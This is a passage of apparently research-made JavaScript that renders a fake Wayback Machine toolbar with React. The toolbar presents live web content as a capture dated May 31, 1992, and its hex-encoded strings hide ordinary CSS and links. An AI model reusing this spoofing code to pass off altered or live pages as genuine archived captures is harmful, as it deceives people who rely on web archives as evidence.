5\x74\x6f\x20\x39\x30\x70\x78\x3b\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x30\x20\x30\x20\x32\x70\x78\x20\x32\x70\x78\x20\x72\x67\x62\x61\x28\x32\x30\x38\x2c\x32\x30\x38\x2c\x32\x30\x38\x2c\x31\x32\x38\x29\x20\x69\x6e\x73\x65\x74\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x63\x61\x70\x69\x6e\x66\x6f\x20\x2e\x63\x2d\x6c\x6f\x67\x6f\x20\x73\x70\x61\x6e\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x69\x6e\x6c\x69\x6e\x65\x2d\x62\x6c\x6f\x63\x6b\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x63\x61\x70\x69\x6e\x66\x6f\x20\x2e\x63\x2d\x6c\x6f\x67\x6f\x20\x69\x6d\x67\x7b\x68\x65\x69\x67\x68\x74\x3a\x39\x30\x70\x78\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x6c\x65\x66\x74\x3a\x2d\x35\x30\x25\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x63\x61\x70\x69\x6e\x66\x6f\x20\x2e\x77\x6d\x2d\x74\x69\x74\x6c\x65\x7b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x33\x30\x25\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x63\x61\x70\x69\x6e\x66\x6f\x20\x61\x2e\x77\x6d\x2d\x73\x65\x6c\x65\x63\x74\x6f\x72\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x69\x6e\x6c\x69\x6e\x65\x2d\x62\x6c\x6f\x63\x6b\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x61\x61\x61\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x6e\x6f\x6e\x65\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x32\x70\x78\x20\x38\x70\x78\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x63\x61\x70\x69\x6e\x66\x6f\x20\x61\x2e\x77\x6d\x2d\x73\x65\x6c\x65\x63\x74\x6f\x72\x3a\x68\x6f\x76\x65\x72\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x65\x78\x70\x61\x6e\x64\x20\x73\x70\x61\x6e\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x66\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x63\x61\x70\x69\x6e\x66\x6f\x20\x61\x2e\x77\x6d\x2d\x73\x65\x6c\x65\x63\x74\x6f\x72\x2e\x73\x65\x6c\x65\x63\x74\x65\x64\x7b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x36\x36\x36\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x65\x78\x70\x61\x6e\x64\x7b\x72\x69\x67\x68\x74\x3a\x31\x70\x78\x3b\x62\x6f\x74\x74\x6f\x6d\x3a\x2d\x31\x70\x78\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x66\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x36\x36\x36\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x20\x35\x70\x78\x20\x30\x20\x33\x70\x78\x20\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x33\x70\x78\x20\x33\x70\x78\x20\x30\x20\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x65\x78\x70\x61\x6e\x64\x20\x23\x77\x6d\x2d\x65\x78\x70\x61\x6e\x64\x2d\x69\x63\x6f\x6e\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x69\x6e\x6c\x69\x6e\x65\x2d\x62\x6c\x6f\x63\x6b\x3b\x74\x72\x61\x6e\x73\x69\x74\x69\x6f\x6e\x3a\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x20\x2e\x35\x73\x3b\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x2d\x6f\x72\x69\x67\x69\x6e\x3a\x35\x30\x25\x20\x34\x35\x25\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x65\x78\x70\x61\x6e\x64\x2e\x77\x6d\x2d\x6f\x70\x65\x6e\x20\x23\x77\x6d\x2d\x65\x78\x70\x61\x6e\x64\x2d\x69\x63\x6f\x6e\x7b\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x72\x6f\x74\x61\x74\x65\x28\x31\x38\x30\x64\x65\x67\x29\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x74\x62\x7b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x72\x69\x67\x68\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x74\x62\x20\x23\x77\x6d\x74\x62\x55\x52\x4c\x7b\x77\x69\x64\x74\x68\x3a\x63\x61\x6c\x63\x28\x31\x30\x30\x25\x20\x2d\x20\x34\x35\x70\x78\x29\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x67\x72\x61\x70\x68\x2d\x61\x6e\x63\x68\x6f\x72\x7b\x62\x6f\x72\x64\x65\x72\x2d\x72\x69\x67\x68\x74\x3a\x31\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x63\x63\x63\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x68\x74\x6d\x6c\x2e\x77\x62\x2d\x68\x69\x67\x68\x6c\x69\x67\x68\x74\x7b\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x69\x6e\x73\x65\x74\x20\x30\x20\x30\x20\x30\x20\x33\x70\x78\x20\x23\x61\x35\x30\x65\x33\x61\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x77\x62\x2d\x68\x69\x67\x68\x6c\x69\x67\x68\x74\x7b\x6f\x75\x74\x6c\x69\x6e\x65\x3a\x23\x61\x35\x30\x65\x33\x61\x20\x73\x6f\x6c\x69\x64\x20\x33\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x40\x6d\x65\x64\x69\x61\x20\x28\x6d\x69\x6e\x2d\x77\x69\x64\x74\x68\x3a\x20\x39\x34\x36\x70\x78\x29\x7b\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x67\x72\x61\x70\x68\x2d\x61\x6e\x63\x68\x6f\x72\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x62\x6c\x6f\x63\x6b\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x7d\x40\x6d\x65\x64\x69\x61\x20\x28\x6d\x61\x78\x2d\x77\x69\x64\x74\x68\x3a\x20\x39\x34\x35\x70\x78\x29\x7b\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x67\x72\x61\x70\x68\x2d\x61\x6e\x63\x68\x6f\x72\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x74\x61\x62\x6c\x65\x2e\x63\x7b\x77\x69\x64\x74\x68\x3a\x38\x35\x25\x3b\x77\x69\x64\x74\x68\x3a\x63\x61\x6c\x63\x28\x31\x30\x30\x25\x20\x2d\x20\x31\x33\x31\x70\x78\x29\x7d\x7d\x40\x6d\x65\x64\x69\x61\x20\x28\x6d\x61\x78\x2d\x77\x69\x64\x74\x68\x3a\x20\x31\x30\x39\x36\x70\x78\x29\x7b\x23\x77\x6d\x2d\x6c\x6f\x67\x6f\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x7d\x23\x77\x6d\x2d\x62\x74\x6e\x73\x20\x3e\x20\x23\x77\x6d\x2d\x73\x61\x76\x65\x2d\x73\x6e\x61\x70\x73\x68\x6f\x74\x2d\x6f\x70\x65\x6e\x7b\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\x3a\x37\x70\x78\x3b\x74\x6f\x70\x3a\x2d\x36\x70\x78\x7d\x23\x77\x6d\x2d\x62\x74\x6e\x73\x20\x3e\x20\x23\x77\x6d\x2d\x73\x69\x67\x6e\x2d\x69\x6e\x7b\x62\x6f\x78\x2d\x73\x69\x7a\x69\x6e\x67\x3a\x63\x6f\x6e\x74\x65\x6e\x74\x2d\x62\x6f\x78\x3b\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\x3a\x37\x70\x78\x3b\x74\x6f\x70\x3a\x2d\x38\x70\x78\x3b\x62\x6f\x72\x64\x65\x72\x3a\x32\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x30\x30\x30\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x31\x34\x70\x78\x3b\x70\x61\x64\x64\x69\x6e\x67\x2d\x72\x69\x67\x68\x74\x3a\x32\x70\x78\x3b\x70\x61\x64\x64\x69\x6e\x67\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x32\x70\x78\x3b\x77\x69\x64\x74\x68\x3a\x31\x31\x70\x78\x3b\x68\x65\x69\x67\x68\x74\x3a\x31\x31\x70\x78\x7d\x23\x77\x6d\x2d\x62\x74\x6e\x73\x20\x3e\x20\x23\x77\x6d\x2d\x73\x69\x67\x6e\x2d\x69\x6e\x20\x3e\x20\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x65\x72\x73\x6f\x6e\x7b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x32\x2e\x35\x70\x78\x7d\x23\x77\x6d\x2d\x73\x61\x76\x65\x2d\x73\x6e\x61\x70\x73\x68\x6f\x74\x2d\x6f\x70\x65\x6e\x20\x3e\x20\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x77\x65\x62\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x3b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x36\x30\x25\x7d\x23\x77\x6d\x2d\x62\x74\x6e\x73\x20\x3e\x20\x23\x77\x6d\x2d\x73\x61\x76\x65\x2d\x73\x6e\x61\x70\x73\x68\x6f\x74\x2d\x69\x6e\x2d\x70\x72\x6f\x67\x72\x65\x73\x73\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x3b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x36\x30\x25\x3b\x6f\x70\x61\x63\x69\x74\x79\x3a\x2e\x35\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\x3a\x37\x70\x78\x3b\x74\x6f\x70\x3a\x2d\x35\x70\x78\x7d\x23\x77\x6d\x2d\x62\x74\x6e\x73\x20\x3e\x20\x23\x77\x6d\x2d\x73\x61\x76\x65\x2d\x73\x6e\x61\x70\x73\x68\x6f\x74\x2d\x73\x75\x63\x63\x65\x73\x73\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x67\x72\x65\x65\x6e\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x74\x6f\x70\x3a\x2d\x37\x70\x78\x7d\x23\x77\x6d\x2d\x62\x74\x6e\x73\x20\x3e\x20\x23\x77\x6d\x2d\x73\x61\x76\x65\x2d\x73\x6e\x61\x70\x73\x68\x6f\x74\x2d\x66\x61\x69\x6c\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x72\x65\x64\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x74\x6f\x70\x3a\x2d\x37\x70\x78\x7d"
}
});
}
};
ifWin.FullNelson = class FullNelson extends React.Component {
render() {
return React.createElement(
"marquee",
{
style: {
maxWidth: "720px"
},
behavior: "slide",
direction: "left",
scrolldelay: "0"
},
"The Internet Archive Would Like To Thank The Web Science And Digital Libraries Research Group For Their Hard Work and Dedication To Web Archiving. May The Frogs Ever Be In Their Favor!",
React.createElement("img", {
src: FrogLinks.frog1,
style: {
height: "59px",
paddingLeft: "10px"
}
}),
React.createElement("img", {
src: FrogLinks.frog2,
style: {
height: "59px",
paddingLeft: "10px"
}
}),
React.createElement("img", {
src: FrogLinks.frog3,
style: {
height: "59px",
paddingLeft: "10px"
}
}),
React.createElement("img", {
src: FrogLinks.frog4,
style: {
height: "59px",
paddingLeft: "10px"
}
})
);
}
};
ifWin.AboutTheFrogLord = class AboutTheFrogLord extends React.Component {
constructor(props) {
super(props);
this.state = {
open: false
};
this.props.clickEmitter.listenForClick(() => {
this.setState({
open: !this.state.open
});
});
this.links = {
gifCities:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69\x66\x63\x69\x74\x69\x65\x73\x2e\x6f\x72\x67\x2f",
heart:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x30\x38\x31\x30\x30\x36\x34\x34\x32\x36\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x6c\x6f\x76\x65\x72\x62\x61\x62\x65\x2e\x67\x65\x6f\x2f\x68\x65\x61\x72\x74\x2e\x67\x69\x66",
odu:
"\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x64\x75\x2e\x65\x64\x75\x2f\x65\x74\x63\x2f\x64\x65\x73\x69\x67\x6e\x73\x2f\x6f\x64\x75\x2f\x69\x6d\x61\x67\x65\x73\x2f\x6c\x6f\x67\x6f\x2d\x75\x6e\x69\x76\x65\x72\x73\x69\x74\x79\x2e\x70\x6e\x67"
};
}
render() {
return React.createElement(
"div",
{
id: "wm-capinfo",
style: {
borderTop: "1px solid #777",
display: this.state.open ? "" : "none",
overflow: "hidden"
}
},
React.createElement(
"div",
{
style: {
backgroundColor: "#666",
color: "#fff",
fontWeight: "bold",
textAlign: "center"
}
},
"Created BY"
),
React.createElement(
"div",
{
style: {
padding: "3px",
position: "relative"
},
id: "wm-collected-by-content"
},
React.createElement(
"div",
{
style: {
display: "inline-block",
verticalAlign: "top",
width: "50%"
}
},
React.createElement("img", {
style: {
height: "93px",
paddingRight: "10px"
},
src: FrogLinks.wsdlGroup,
alt: "WSDL Forever!!"
}),
React.createElement(
"b",
null,
"Web Science and Digital Libraries Research Group"
),
React.createElement("img", {
style: {
height: "93px",
paddingRight: "10px"
},
src: this.links.odu,
alt: "WSDL Forever!!"
}),
React.createElement(
"div",
{
style: {
maxHeight: "75px",
overflow: "hidden",
position: "relative"
}
},
React.createElement("div", {
style: {
position: "absolute",
top: 0,
left: 0,
width: "100%",
height: "75px",
background:
"linear-gradient(to bottom,rgba(255,255,255,0) 0%,rgba(255,255,255,0) 90%,rgba(255,255,255,255) 100%)"
}
})
)
),
React.createElement(
"div",
{
style: {
display: "inline-block",
verticalAlign: "top",
width: "49%"
}
},
React.createElement(
"b",
null,
React.createElement(
"a",
{
style: {
color: "#33f"
},
href: BannerLinks.wideCrawl,
target: "_new"
},
React.createElement(
"span",
{
className: "wm-title"
},
"John A. Berlin"
)
)
),
React.createElement(
"div",
null,
"Collection:",
React.createElement(
"a",
{
style: {
color: "#33f"
},
href: BannerLinks.liveWeb,
target: "_new"
},
React.createElement(
"span",
{
className: "wm-title"
},
"How Many Frogs Till JCDL??"
)
)
),
React.createElement(
"div",
{
style: {
maxHeight: "75px",
overflow: "hidden",
position: "relative"
}
},
React.createElement("div", {
style: {
position: "absolute",
top: 0,
left: 0,
width: "100%",
height: "75px",
background:
"linear-gradient(to bottom,rgba(255,255,255,0) 0%,rgba(255,255,255,0) 90%,rgba(255,255,255,255) 100%)"
}
}),
React.createElement("br", null),
React.createElement("br", null),
React.createElement("p", {
style: {
fontSize: "12px"
}
}),
React.createElement("br", null),
React.createElement("br", null)
)
)
),
React.createElement(
"div",
{
style: {
backgroundColor: "#666",
color: "#fff",
fontWeight: "bold",
textAlign: "center"
},
title: "Timestamps for the elements of this page"
},
"TIMESTAMPS"
),
React.createElement(
"div",
null,
React.createElement(
"div",
{
id: "wm-capresources",
style: {
margin: "0 5px 5px 5px",
maxHeight: "250px",
overflowY: "scroll !important",
textAlign: "center"
}
},
React.createElement(
"b",
null,
React.createElement(
"em",
null,
"None! Everything you see is from the live web and happening from ",
`${ifWin.location}`,
"."
)
),
React.createElement("br", null),
React.createElement(
"b",
null,
React.createElement(
"em",
null,
"Well... I lied. I did get the gifs from ",
React.createElement(
"a",
{
href: this.links.gifCities
},
"http://web.archive.org/web/20180404041224/https://gifcities.org/"
),
" ",
React.createElement("img", {
src: this.links.heart,
title: "lover babe geo heart",
style: {
height: 25
}
})
)
)
)
)
);
}
};
ifWin.Logo = class Logo extends React.Component {
render() {
return React.createElement(
"div",
{
id: "wm-logo",
style: {
float: "left",
width: "130px",
paddingTop: "10px"
}
},
React.createElement(
"a",
{
href: BannerLinks.archiveOrg,
title: "Wayback Machine home page"
},
React.createElement("img", {
src: BannerLinks.tbLogo,
alt: "Wayback Machine",
width: "110",
height: "39",
border: "0"
})
)
);
}
};
ifWin.Buttons = class Buttons extends React.Component {
render() {
return React.createElement(
"div",
{
className: "r",
style: {
float: "right"
}
},
React.createElement(
"div",
{
id: "wm-btns",
style: {
textAlign: "right",
height: "25px"
}
},
React.createElement(
"div",
{
id: "wm-save-snapshot-success"
},
"success"
),
React.createElement(
"div",
{
id: "wm-save-snapshot-fail"
},
"fail"
),
React.createElement(
"a",
{
href: "#",
title: "Share via My Web Archive",
id: "wm-save-snapshot-open",
style: {
display: "none"
}
},
React.createElement("span", {
className: "iconochive-web"
})
),
React.createElement(
"a",
{
href: BannerLinks.login,
title: "Sign In",
id: "wm-sign-in",
style: {
display: "inline-block",
top: "-13px"
}
},
React.createElement("span", {
className: "iconochive-person"
})
),
React.createElement("span", {
id: "wm-save-snapshot-in-progress",
className: "iconochive-web",
style: {
display: "none"
}
}),
React.createElement(
"a",
{
href: BannerLinks.wsdlBlog,
title: "Get some help using the Wayback Machine From WSDL!",
style: {
top: "-13px"
}
},
React.createElement("span", {
className: "iconochive-question",
style: {
color: "rgb(87,186,244)",
fontSize: "160%"
}
})
),
React.createElement(
"a",
{
id: "wm-tb-close",
style: {
top: "-10px"
},
title: "Close the toolbar"
},
React.createElement("span", {
className: "iconochive-remove-circle",
style: {
color: "#888888",
fontSize: "195%"
}
})
)
),
React.createElement(
"div",
{
id: "wm-share",
style: {
textAlign: "right"
}
},
React.createElement(
"a",
{
href: BannerLinks.mlnCS,
title: "Share on Facebook",
style: {
marginRight: "5px",
top: "-4px"
},
onClick: e => {
e.preventDefault();
window.open(BannerLinks.shareFB, "", "height=400,width=600");
},
target: "_blank"
},
React.createElement("span", {
className: "iconochive-facebook",
style: {
color: "#3b5998",
fontSize: "160%"
}
})
),
React.createElement(
"a",
{
href: BannerLinks.mlnCS,
title: "Share on Twitter",
onClick: e => {
e.preventDefault();
window.open(
BannerLinks.shareTwitter,
"",
"height=400,width=600"
);
},
style: {
marginRight: "5px",
top: "-4px"
},
target: "_blank"
},
React.createElement("span", {
className: "iconochive-twitter",
style: {
color: "#1dcaff",
fontSize: "160%"
}
})
)
)
);
}
};
ifWin.OpenCloseCaptureInfo = class OpenCloseCaptureInfo extends React.Component {
constructor(props) {
super(props);
this.state = {
open: false
};
this.onClick = this.onClick.bind(this);
}
onClick(e) {
e.preventDefault();
this.props.clickEmitter.clicked();
this.setState({
open: !this.state
});
}
render() {
let message = "About this capture";
return React.createElement(
"a",
{
id: "wm-expand",
className: `wm-btn ${this.state.open ? "wm-open" : "wm-closed"}`,
href: "#",
onClick: this.onClick
},
React.createElement("span", {
id: "wm-expand-icon",
className: "iconochive-down-solid"
}),
React.createElement(
"span",
{
style: {
fontSize: "80%"
}
},
message
)
);
}
};
ifWin.TheCanvas = class TheCanvas extends React.Component {
componentDidMount() {
let width = 575;
let height = 27;
let start_year = 1990;
let ctx = this.cref.getContext("2d");
ctx.fillStyle = "#FFF";
let end_year = new Date().getUTCFullYear();
let year_width = width / (end_year - start_year + 1);
let maxcount = 1;
let yscale = height / maxcount; // 1993
ctx.fillStyle = "#FFFFA5";
ctx.fillRect(40.5, 0, year_width, height);
for (let year = 1990; year <= end_year; year++) {
let x = Math.ceil((year - start_year) * year_width) + 0.5;
ctx.beginPath();
ctx.moveTo(x, 0);
ctx.lineTo(x, height);
ctx.lineWidth = 1;
ctx.strokeStyle = "#CCC";
ctx.stroke();
}
ctx.fillStyle = "#EC008C";
let month_width = (year_width - 1) / 12;
ctx.fillRect(
Math.round(46.5),
Math.ceil(height - yscale),
Math.ceil(month_width),
Math.round(yscale)
);
}
render() {
return React.createElement("canvas", {
ref: cref => {
this.props.getCanRef(cref);
this.cref = cref;
},
id: "wm-sparkline-canvas",
width: "575",
height: "27",
border: "0"
});
}
};
ifWin.FakeSparkLine = class FakeSparkLine extends React.Component {
constructor(props) {
super(props);
this.mouseMove = this.mouseMove.bind(this);
this.mouseEnter = this.mouseEnter.bind(this);
this.mouseLeave = this.mouseLeave.bind(this);
this.getCanRef = this.getCanRef.bind(this);
this.linkPartials = {
// /web/
web: "\x2f\x77\x65\x62\x2f",
// 19920531014618/
dt: "\x31\x39\x39\x32\x30\x35\x33\x31\x30\x31\x34\x36\x31\x38\x2f",
// http:/www.somewhere.sh
where:
"\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6a\x2d\x6a\x61\x79\x2d\x72\x65\x71\x75\x65\x73\x74\x73\x2e\x73\x75\x72\x67\x65\x2e\x73\x68\x2f"
};
this.state = {
urim: `${ifWin.location.origin}${this.linkPartials.web}${
this.linkPartials.dt
}${this.linkPartials.where}`,
showTrackers: false,
mtOff: "380px",
yrOff: "375px",
curYear: ""
};
}
zeroPad(v, len) {
v = v.toString();
return v.length >= len
? v
: "00000000".substring(0, len - v.length) + v;
}
mouseMove(e) {
let imgWidth = 575;
let yearImgWidth = 19.82758620689655;
let monthImgWidth = 1.5689655172413792;
let eventX = this.getEventX(e);
let elementX = this.getElementX();
let xOff = Math.min(Math.max(0, eventX - elementX), imgWidth);
let monthOff = xOff % yearImgWidth;
let year = Math.floor(xOff / yearImgWidth);
let monthOfYear = Math.min(11, Math.floor(monthOff / monthImgWidth));
let month = year * 12 + monthOfYear;
let day = monthOff % 2 === 1 ? 15 : 1;
let dateString =
this.zeroPad(year + 1990) +
this.zeroPad(monthOfYear + 1, 2) +
this.zeroPad(day, 2) +
"000000";
let yrOff = year * yearImgWidth;
let mtOff = year + month * monthImgWidth + 1;
this.props.ymEmitter.display(year + 1990, monthOfYear);
this.setState(prevState =>
Object.assign(prevState, {
urim: `${ifWin.location.origin}${
this.linkPartials.web
}${dateString}/${this.linkPartials.where}`,
mtOff,
yrOff,
showTrackers: true
})
);
}
mouseEnter(e) {
this.setState(prevState =>
Object.assign(prevState, {
showTrackers: true
})
);
}
mouseLeave(e) {
this.props.ymEmitter.regColor();
this.setState(prevState =>
Object.assign(prevState, {
showTrackers: false
})
);
}
getCanRef(cref) {
this.cref = cref;
}
getElementX() {
let de = document.documentElement;
let box =
typeof this.cref.getBoundingClientRect !== "undefined"
? this.cref.getBoundingClientRect()
: {
top: 0,
left: 0
};
return (
box.left +
(window.pageXOffset || de.scrollLeft) -
(de.clientLeft || 0)
);
}
getEventX(event) {
let posx = 0;
if (event.pageX || event.pageY) {
posx = event.pageX;
} else if (event.clientX || event.clientY) {
posx =
event.clientX +
document.body.scrollLeft +
document.documentElement.scrollLeft;
}
return posx;
}
render() {
return React.createElement(
"a",
{
href: this.state.urim,
id: "wm-graph-anchor"
},
React.createElement(
"div",
{
id: "wm-ipp-sparkline",
title: "Explore captures for this URL",
style: {
position: "relative"
},
onMouseMove: this.mouseMove,
onMouseLeave: this.mouseLeave
},
React.createElement(ifWin.TheCanvas, {
getCanRef: this.getCanRef
}),
React.createElement("div", {
className: "yt",
style: {
display: this.state.showTrackers ? "inline" : "none",
width: "25px",
height: "27px",
left: this.state.yrOff
}
}),
React.createElement("div", {
className: "mt",
style: {
display: this.state.showTrackers ? "inline" : "none",
width: "2px",
height: "27px",
left: this.state.mtOff
}
})
)
);
}
};
ifWin.TDN = class TDN extends React.Component {
constructor(props) {
super(props);
this.prettyMonths = [
"Jan",
"Feb",
"Mar",
"Apr",
"May",
"Jun",
"Jul",
"Aug",
"Sep",
"Oct",
"Nov",
"Dec"
];
this.state = {
curMonth: "May",
curYear: "1992",
color: null
};
this.ymUpdates = this.ymUpdates.bind(this);
this.ymRegColor = this.ymRegColor.bind(this);
this.links = {
// http://web.archive.org/static/images/toolbar/wm_tb_prv_off.png
prv:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x73\x74\x61\x74\x69\x63\x2f\x69\x6d\x61\x67\x65\x73\x2f\x74\x6f\x6f\x6c\x62\x61\x72\x2f\x77\x6d\x5f\x74\x62\x5f\x70\x72\x76\x5f\x6f\x66\x66\x2e\x70\x6e\x67",
// http://web.archive.org/static/images/toolbar/wm_tb_nxt_off.png
nxt:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x73\x74\x61\x74\x69\x63\x2f\x69\x6d\x61\x67\x65\x73\x2f\x74\x6f\x6f\x6c\x62\x61\x72\x2f\x77\x6d\x5f\x74\x62\x5f\x6e\x78\x74\x5f\x6f\x66\x66\x2e\x70\x6e\x67"
};
}
componentDidMount() {
this.props.ymEmitter.listenDisplay(this.ymUpdates);
this.props.ymEmitter.listenColor(this.ymRegColor);
}
componentWillUnmount() {
this.props.ymEmitter.clear();
}
ymUpdates(year, month) {
this.setState(prevState =>
Object.assign(prevState, {
curYear: year,
curMonth: this.prettyMonths[month],
color: "#ec008c"
})
);
}
ymRegColor() {
this.setState(prevState =>
Object.assign(prevState, {
color: null,
curMonth: "May",
curYear: "1992"
})
);
}
render() {
return React.createElement(
"td",
{
className: "n",
rowSpan: "2",
style: {
width: "110px"
}
},
React.createElement(
"table",
null,
React.createElement(
"tbody",
null,
React.createElement(
"tr",
{
className: "m"
},
React.createElement(
"td",
{
className: "b",
nowrap: "nowrap"
},
"April"
),
React.createElement(
"td",
{
className: "c",
style: {
color: this.state.color
},
id: "displayMonthEl",
title: "You are here: 01:46:18 May 31, 1992"
},
this.state.curMonth
),
React.createElement(
"td",
{
className: "f",
nowrap: "nowrap"
},
"Jun"
)
),
React.createElement(
"tr",
{
className: "d"
},
React.createElement(
"td",
{
className: "b",
nowrap: "nowrap"
},
React.createElement("img", {
alt: "Previous capture",
border: "0",
height: "16",
src: this.links.prv,
width: "14"
})
),
React.createElement(
"td",
{
className: "c",
id: "displayDayEl",
style: {
width: "34px",
fontSize: "24px",
whiteSpace: "nowrap",
color: this.state.color
},
title: "You are here: 01:46:18 May 31, 1992"
},
"31"
),
React.createElement(
"td",
{
className: "f",
nowrap: "nowrap"
},
React.createElement("img", {
alt: "Next capture",
border: "0",
height: "16",
src: this.links.nxt,
width: "14"
})
)
),
React.createElement(
"tr",
{
className: "y"
},
React.createElement(
"td",
{
className: "b",
nowrap: "nowrap"
},
"1991"
),
React.createElement(
"td",
{
className: "c",
style: {
color: this.state.color
},
id: "displayYearEl",
title: "You are here: 01:46:18 May 31, 1992"
},
this.state.curYear
),
React.createElement(
"td",
{
className: "f",
nowrap: "nowrap"
},
"1993"
)
)
)
)
);
}
};
ifWin.BannerTable = class BannerTable extends React.Component {
constructor(props) {
super(props);
this.inputOnFocus = this.inputOnFocus.bind(this);
